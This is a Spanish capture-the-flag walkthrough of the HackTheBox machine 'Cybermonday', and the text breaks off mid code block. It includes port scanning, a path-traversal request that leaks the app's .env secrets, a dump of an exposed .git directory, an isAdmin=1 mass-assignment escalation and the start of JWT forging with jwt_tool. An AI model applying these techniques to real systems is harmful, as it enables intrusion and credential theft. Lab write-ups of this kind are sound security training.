Cybermonday es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Cybermonday 10.10.10.xxx a /etc/hosts como cybermonday.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.214.8 Nmap scan report for 10.129.214.8 Host is up, received echo-reply ttl 63 (0.051s latency). Scanned at 2023-08-19 20:34:00 GMT for 13s Not shown: 65394 closed tcp ports (reset), 139 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 62 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Aug 19 20:34:13 2023 -- 1 IP address (1 host up) scanned in 13.30 seconds |
Una vez detectados los puertos abiertos revisamos más a fondo los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.214.8 Nmap scan report for 10.129.214.8 Host is up (0.042s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 74:68:14:1f:a1:c0:48:e5:0d:0a:92:6a:fb:c1:0c:d8 (RSA) | 256 f7:10:9d:c0:d1:f3:83:f2:05:25:aa:db:08:0e:8e:4e (ECDSA) |_ 256 2f:64:08:a9:af:1a:c5:cf:0f:0b:9b:d2:95:f5:92:32 (ED25519) 80/tcp open http nginx 1.25.1 |_http-server-header: nginx/1.25.1 |_http-title: Did not follow redirect to http://cybermonday.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Aug 19 20:34:35 2023 -- 1 IP address (1 host up) scanned in 10.45 seconds |
Enumeración
No hay mucho que hacer así que vamos de cabeza al portal web

Revisamos con whatweb y vemos la versión de php y nginx
|
1 2 |
$ whatweb cybermonday.htb http://cybermonday.htb [200 OK] Cookies[XSRF-TOKEN,cybermonday_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.25.1], HttpOnly[cybermonday_session], IP[10.129.214.8], PHP[8.1.20], Script, Title[Welcome - Cyber Monday], X-Powered-By[PHP/8.1.20], X-UA-Compatible[IE=edge], nginx[1.25.1] |
No vemos gran cosa así que creamos una cuenta y accedemos

Revisamos la misma, hay una sección de venta de productos, aunque los botones no funcionan y no parece que podamos hacer gran cosa por aquí por lo que continuamos.
Tratamos de obtener algunos ficheros y conseguimos el fichero .htaccess
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ curl http://cybermonday.htb/.htaccess <IfModule mod_rewrite.c> <IfModule mod_negotiation.c> Options -MultiViews -Indexes </IfModule> RewriteEngine On # Handle Authorization Header RewriteCond %{HTTP:Authorization} . RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # Redirect Trailing Slashes If Not A Folder... RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} (.+)/$ RewriteRule ^ %1 [L,R=301] # Send Requests To Front Controller... RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ index.php [L] </IfModule> |
Viendo las reglas configuradas no vamos a poder hacer un LFI de la forma más sencilla, aunque hay otras formas con las que hacerlo, así que probamos y obtenemos el fichero .env de la aplicación
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
$ curl http://cybermonday.htb/assets../.env APP_NAME=CyberMonday APP_ENV=local APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA= APP_DEBUG=true APP_URL=http://cybermonday.htb LOG_CHANNEL=stack LOG_DEPRECATIONS_CHANNEL=null LOG_LEVEL=debug DB_CONNECTION=mysql DB_HOST=db DB_PORT=3306 DB_DATABASE=cybermonday DB_USERNAME=root DB_PASSWORD=root BROADCAST_DRIVER=log CACHE_DRIVER=file FILESYSTEM_DISK=local QUEUE_CONNECTION=sync SESSION_DRIVER=redis SESSION_LIFETIME=120 MEMCACHED_HOST=127.0.0.1 REDIS_HOST=redis REDIS_PASSWORD= REDIS_PORT=6379 REDIS_PREFIX=laravel_session: CACHE_PREFIX= MAIL_MAILER=smtp MAIL_HOST=mailhog MAIL_PORT=1025 MAIL_USERNAME=null MAIL_PASSWORD=null MAIL_ENCRYPTION=null MAIL_FROM_ADDRESS="hello@example.com" MAIL_FROM_NAME="${APP_NAME}" AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= AWS_DEFAULT_REGION=us-east-1 AWS_BUCKET= AWS_USE_PATH_STYLE_ENDPOINT=false PUSHER_APP_ID= PUSHER_APP_KEY= PUSHER_APP_SECRET= PUSHER_APP_CLUSTER=mt1 MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}" MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}" CHANGELOG_PATH="/mnt/changelog.txt" REDIS_BLACKLIST=flushall,flushdb |
Tenemos el APP_KEY de la aplicación entre otras cosas, así que nos lo guardamos que puede venir bien más adelante.
Seguimos revisando y encontramos un directorio .git
|
1 |
http://cybermonday.htb/assets../.git/ |
Así que descargamos su contenido con git-dumper
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 |
$ python3 git_dumper.py http://cybermonday.htb/assets../.git/ git_data [-] Testing http://cybermonday.htb/assets../.git/HEAD [200] [-] Testing http://cybermonday.htb/assets../.git/ [403] [-] Fetching common files [-] Fetching http://cybermonday.htb/assets../.gitignore [200] [-] Fetching http://cybermonday.htb/assets../.git/COMMIT_EDITMSG [200] [-] Fetching http://cybermonday.htb/assets../.git/hooks/applypatch-msg.sample [200] [-] Fetching http://cybermonday.htb/assets../.git/hooks/post-commit.sample [404] [-] Fetching http://cybermonday.htb/assets../.git/hooks/commit-msg.sample [200] [-] http://cybermonday.htb/assets../.git/hooks/post-commit.sample responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/hooks/post-receive.sample [404] [-] http://cybermonday.htb/assets../.git/hooks/post-receive.sample responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/description [200] [-] Fetching http://cybermonday.htb/assets../.git/hooks/pre-commit.sample [200] [-] Fetching http://cybermonday.htb/assets../.git/hooks/post-update.sample [200] [-] Fetching http://cybermonday.htb/assets../.git/hooks/pre-applypatch.sample [200] [-] Fetching http://cybermonday.htb/assets../.git/hooks/pre-push.sample [200] [-] Fetching http://cybermonday.htb/assets../.git/hooks/pre-rebase.sample [200] [-] Fetching http://cybermonday.htb/assets../.git/hooks/pre-receive.sample [200] [-] Fetching http://cybermonday.htb/assets../.git/index [200] [-] Fetching http://cybermonday.htb/assets../.git/info/exclude [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/info/packs [404] [-] http://cybermonday.htb/assets../.git/objects/info/packs responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/hooks/prepare-commit-msg.sample [200] [-] Fetching http://cybermonday.htb/assets../.git/hooks/update.sample [200] [-] Finding refs/ [-] Fetching http://cybermonday.htb/assets../.git/FETCH_HEAD [404] [-] http://cybermonday.htb/assets../.git/FETCH_HEAD responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/config [200] [-] Fetching http://cybermonday.htb/assets../.git/ORIG_HEAD [404] [-] http://cybermonday.htb/assets../.git/ORIG_HEAD responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/logs/HEAD [200] [-] Fetching http://cybermonday.htb/assets../.git/HEAD [200] [-] Fetching http://cybermonday.htb/assets../.git/logs/refs/remotes/origin/HEAD [404] [-] http://cybermonday.htb/assets../.git/logs/refs/remotes/origin/HEAD responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/logs/refs/heads/master [200] [-] Fetching http://cybermonday.htb/assets../.git/logs/refs/remotes/origin/master [404] [-] Fetching http://cybermonday.htb/assets../.git/info/refs [404] [-] http://cybermonday.htb/assets../.git/info/refs responded with status code 404 [-] http://cybermonday.htb/assets../.git/logs/refs/remotes/origin/master responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/logs/refs/stash [404] [-] http://cybermonday.htb/assets../.git/logs/refs/stash responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/refs/remotes/origin/HEAD [404] [-] http://cybermonday.htb/assets../.git/refs/remotes/origin/HEAD responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/packed-refs [404] [-] http://cybermonday.htb/assets../.git/packed-refs responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/refs/heads/master [200] [-] Fetching http://cybermonday.htb/assets../.git/refs/stash [404] [-] http://cybermonday.htb/assets../.git/refs/stash responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/refs/remotes/origin/master [404] [-] http://cybermonday.htb/assets../.git/refs/remotes/origin/master responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/refs/wip/wtree/refs/heads/master [404] [-] http://cybermonday.htb/assets../.git/refs/wip/wtree/refs/heads/master responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/refs/wip/index/refs/heads/master [404] [-] http://cybermonday.htb/assets../.git/refs/wip/index/refs/heads/master responded with status code 404 [-] Finding packs [-] Finding objects [-] Fetching objects [-] Fetching http://cybermonday.htb/assets../.git/objects/e0/5f4c9a1b27a35c20ac897b44dfb7a9238ff9b7 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/f2/c31ba3685cf854c57fa5bb1565f86dc46630c6 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/05/c4471f2b53fc17d3cac9d3d252755a35479f7c [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/0a/8a4d32f60dbb9941b88ed67b521f5cab4eac36 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/f4/39e6a6a358e6effbc092f837e88311ce3e6712 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/0a/ce530e8d25451c7caf81ebdecac2cca9a77d83 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/d6/b7ef32c8478a48c3994dcadc86837f4371184d [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/88/cadcaaf281f473a7d03d757be46a6d1d307eaf [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/69/22577695e66ffdb3803e559490798898341abc [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/eb/6fa48c25d93f7bf753ba612cd2c7efecea5f4b [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/b5/a448dc774d545609f3ee8a166a4eeef01f33c9 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/a8/73d608f3ae94f0bd8243a9573d627660c48bdc [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/9b/b1bd7c48ab8b42c23bb04b3b2c610acad26c97 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/4c/573f4f204dbc36ab70a67606f366646a91344e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/c1/c48a060cf65c15925509e53589835c3bf451d2 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/ba/ba3681999751b0d1d2139aa2817dc730608f0e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/52/9cfdc9916c1bd990016e2d8789895873908548 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/71/86414c65794159f1a16a052921c44130463b4e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/08/ef22210ae6291c9a7c25136b050379fc968124 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/33/91630ecc9e859dad35834a43f119a67bb7df71 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/47/3deba1cfc7d8eb1624b0a3f677b8b7f7837da6 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/ea/87f2e57d00c8b5176c144e2d6c58e43f0eace8 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/1d/69f3a2890599c4f51f93e1906f44d64f5eb928 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/8a/39e6daa63dd3a4c07693f728ff136c05a3ed6e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/5d/451e1fae88c81c097aa55de6ff039a3cc0a1c3 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/fc/acb80b3e1193e661cb1ca5f589d80af218867d [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/51/b351b0b3527e399cbbeb9d1361af9ba03fbb9e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/23/b61d24286d5e2ad9b01ccc2cef12511a0d835d [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/40/c55f65c25644d4f09d3c734b219a2aa736b134 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/ef/76a7ed6aece96a22282683c9832f658d41dad7 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/39/5c518bc47b94752d00b8dc7aeb7d241633e7cf [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/74/cbd9a9eaaaf10a0a748f707729e62c8ce4b05c [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/e7/3b8366158995ef7dd236f7119db0641931b358 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/bc/d3be4c28aa78fdc11f52b699718fd14fa3fda9 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/12/396722a79274d3caa3afff8b0fb2477d905957 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/2a/c86a1858718f2ae64117738c11442ea18dbdfd [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/34/28efe948369749e99dba20560cc28211e069f1 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/ab/0a1c2c7005cd000efabbcc3919dbc78e4b0f5d [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/93/6d9ad1901c231d7f5359dbd5ecdb2b3345675e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/5a/0039662c1d3823d77d2a0bff5088f68a8ce54a [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/a2/813a06489f33806916684e1b8bbf2795aba5eb [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/bb/9945c3b6ed4d3d4c9afde3093f51d3ab4c3ad7 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/7a/9aecdf303df17e84c167d05c5d6cdd66981d23 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/7d/5e9e15b9429f0f49c4d4e00e55d820260c5179 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/70/4089a7fe757c137d99241b758c912d8391e19d [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/0d/89369b949acd2a875803a672e48b3169a74339 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/82/a37e400815ec871d3b88cc2f08a67740cec161 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/67/fcbbd6c89c6deaa0ffc3bec50d66a36406718a [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/25/ea5a819352e0fa8bacc367dd0cb39b71292c4f [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/33/bb29546eba5501bb91ab41199cce5c86ffcdf5 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/c8/3d34aaaf8706bd525ca4dc35c0348332c65774 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/8f/4803c05638697d84ea28d40693324ec70f7990 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/e4/6045ac8b2c25fb9a5779dd86e27d7daac8d08e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/a0/a2a8a34a6221e4dceb24a759ed14e911f74c57 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/53/4395a369bf31a7cc4da747887882588bed258f [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/3a/ec5e27e5db801fa9e321c0a97acbb49e10908f [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/d4/8141187786931ec2cf8645e384be7878c7dc53 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/eb/0536286f3081c6c0646817037faf5446e3547d [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/ee/8ca5bcd8f77d219f29529a9163587235c545d5 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/67/a3329b183e042b14516122b5d470bc337a5a90 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/d0/04bbfe4a971a42548db1c28022ad83a5fe7bed [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/9b/19b93c9f13d72749cc3bac760a28325116f3f1 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/f1/71ecacc26252f4ba333eb804883e6f01e376aa [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/17/191986b47f67e56c7e34e306ffe1f236501fb6 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/72/4b5ace57ad1b9a16bd3b579c665e9d26ffb0be [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/65/98e2c0607332658ab9d429e86b2da1130f2326 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/8f/f3c9029c202012a5a0a3cff159d47cb4f3beab [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/0a/abca19f99f35ce39fc788f7070e2b9bc0d3108 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/51/0d9961f10a033fa6a602129eb0e24ebe32e146 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/03/7e17df03b0598d7bbd27ed333312e8e337fb1b [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/3e/c37a22439b3c9be8e85e4cca5e5666cd0cbd53 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/6c/430293cc349a751385d7f0863c64bf5e0a045d [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/ab/8b2cf77bbfa9c44bc228e2b71c2fed039d8e43 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/b6/10c22de02a2611915648294317192109b07aa8 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/f4/21db2c26bd69264849c992e70e529fde0704ea [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/8f/ed97c014194eee5a0d02fbf61d93b17162402a [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/fd/235f8c5d00c8c9925db3a06aa197d172279ec3 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/7f/2e2c6ec8c31bec764d3c5d3bb5dd5d1bedd27d [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/22/b8a18d325814f221fb0481fa7ab320b612d601 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/16/71c9b9d94ae80b2d39c6b6a64d154b0ac6cb65 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/86/7695bdcff312bfa221d583e2b3223aab2426dd [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/e4/0faa0b1f8931c144b8ff7fdefa17583d7681f8 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/fc/87b2971c5cb8fd6b25032d093d71513d06d07a [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/6b/0afd0b51ad8dacac31ce7e316398ec4c3e4b82 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/e5/c5fef7a07c827e882cbf83ae5403c7e911cd3c [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/29/32d4a69d6554cec4dea94e3194351710bd659e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/d8/c6cee7c19c410449b5b9458bde053ae8f5bda0 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/91/a63d8dd88b90cc6cedd501364440527c7bca9a [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/d2/5e46f9de6d52e2c5682604989a1bee56af30d7 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/e9/d9dbdbe8ad384c1ea73b5f06bf9b9daa18007d [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/01/e4a6cda9eb380973b23a40d562bca8a3a198b4 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/2a/22dc1206aefa36f8f32a6839219094d7acd0c1 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/a9/a0f5fdd85154a13d07e4cda8f22303cac53cb9 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/0b/2c367981682764972ef92d67a6278f550c9f42 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/e9/96d67d71fbda2243b3ca9b41603a3215eab1b7 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/c8/e7f76ffb52fc942e3de0a9dcc5261e051d76bf [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/9e/b7bd2831e242775751b2c54dcc52fe92dae34a [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/00/00000000000000000000000000000000000000 [404] [-] http://cybermonday.htb/assets../.git/objects/00/00000000000000000000000000000000000000 responded with status code 404 [-] Fetching http://cybermonday.htb/assets../.git/objects/d8/bc1d29f0ca5533beb6106f170b14fce854269d [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/17/eda1fa63d2bdeefffc7f2464990bf333d54906 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/79/f63b44fdcb02187831898cd3732301fa3b7488 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/bc/67a663bb443bbace06a0a47247273172f9a8e6 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/78/ccc21f46a8df7435c5514691eb821a04b28aae [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/23/45a56b5a6927a286e99ff80efc963ea3422e0c [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/54/7152f6a933b1c1f409283d7bdfe1ba556d4069 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/9e/86521722b083582f0f100e7b4d3a63bcc1bdfc [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/5a/a1dbb78815158ce20421d5099ede9b965e0a26 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/1f/3c7668f747b71eafcb4b178d1a80511d56e80a [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/46/4c26155d71f0317cf3113d1d18dab569a401f0 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/2b/5249110fbf73b9bc29d730553577c1328efda2 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/c7/788b180e2a7e5bc14c2ea9e02f9d1de42ac29b [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/c6/4c292d6315c747bb7d85134967ae9ba0663e47 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/e2/63f1e758191182a3ec57883b93e2dfe77c5e3e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/fa/579600b150dfe96277f923c509bc473517b32a [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/24/25237e3360e056e6e6705323b819a136a7ed9b [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/67/078294b451e1385fcac6ffc7518bd40128a589 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/63/bcc82bf5ceaed53668404c7e8ca286c5f68182 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/a9/b549189653697bdcc2597e2a81e93fae10cea6 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/03/d03b489802641c86ab6f275af99f949539f6f7 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/31/e5659f5ea47800d8b803c2b8d7b8d5127c70fe [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/a2/09be995d70299741d5f4703f5d0a371ba51906 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/0c/74c2f4d4e86e8483c8a2ac0f6d8ffff146cc4e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/a5/ca4ad59b1f94c8c49d41cdb8527b9026126cca [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/67/372d054b30cce0b5356c375737a79d87ef69e7 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/a7/666dbc96dabf9121c7ab100b75351032e876f2 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/84/061fffbb46a150363c7d3ede8d8e903fc3873c [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/90/50e10b0988351ff02412e2a3eb2d77cd982c48 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/62/b6ea2ab9c84cbbfb776b430c307dc508e2642b [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/9f/64856f645658aeda1c3d6a07b544e550097f70 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/3f/ad2cd925b761af3387f47d5ed471a0bddc690e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/42/87910964feb86119d87658b97ff556ac06d585 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/f2/d718fb4f64af26296e2d5fa4ae4dee04aee886 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/95/47e7d7740a164f5fd6f10aec0d0d98ed09e23e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/22/57b3b323f34bdf71cc9c43977661c7d54b2e6c [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/d8/28bbf33e1cced57eefe573bb6371d6d871c0db [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/3c/f5e09286183fa233fe39d26dad9f902fc1c69e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/96/233b34ccba706a9f89dca87a9282a3cd836e0a [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/70/46c26a14dfd083b613b04e5fb464c1b8f05a1e [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/90/bf9ee57364b1e707fb400a8561c6f0083af928 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/e9/3e4a3f9c394c636dcf0fe673ddb42c2fa180c3 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/e3/dff6b7c1c86ad0a72845e554d4fffecff9f6b5 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/f0/0a628d46a5fb12ee6f4fb81647ad94ded4246c [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/32/e46a3cd15b9aa54cccc46fc53990f382062325 [200] [-] Fetching http://cybermonday.htb/assets../.git/objects/0e/d15f710f3fdd9cd4255795cedb4f4e61aa59e8 [200] [-] Running git checkout . |
Revisamos los cambios realizados pero sólo hay un commit llamado backup
|
1 2 3 4 5 6 |
$ git log commit f439e6a6a358e6effbc092f837e88311ce3e6712 (HEAD -> master) Author: guest <guest@mail.com> Date: Tue Jan 24 01:51:33 2023 +0000 backup |
Así que revisamos lo que tenemos y encontramos una parte del código interesante
|
1 2 3 |
@if(auth()->user()->isAdmin) + <a href="{{ route('dashboard') }}" |
Si el usuario dispone del atributo isAdmin a true puede acceder al panel de administrador, así que vamos a ponerlo en práctica.
Nos vamos al perfil del usuario y lo editamos, interceptamos la petición con burp y añadiremos el parámetro
|
1 |
isAdmin=1 |

Enviamos y veremos un elemento nuevo en el menú, dashboard, así que pinchamos para llegar al mismo

En esta parte no parece que haya gran cosa así que vamos a la sección de changelog

Y vemos un enlace a un subdominio nuevo
|
1 |
webhooks-api-beta.cybermonday.htb |
Lo añadimos al fichero hosts y accederemos para ver una api rest

Abusando de la API
Revisando las opciones de la API vemos que podemos registrarnos, loguearnos y crear un webhook. Con el webhook creado podemos después enviar una petición http o guardar datos en un fichero de log, así que vamos a investigarla un poco.
Revisando la misma podmeos descargarnos el fichero de claves
|
1 |
$ curl http://webhooks-api-beta.cybermonday.htb/jwks.json -o jwks.json -s |
Con el mismo podemos utilizar la herramienta de jwt_tool para generarnos una clave pública, así que generamos primero un token con el usuario admin

Y generamos la clave pública con jwt_tool
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
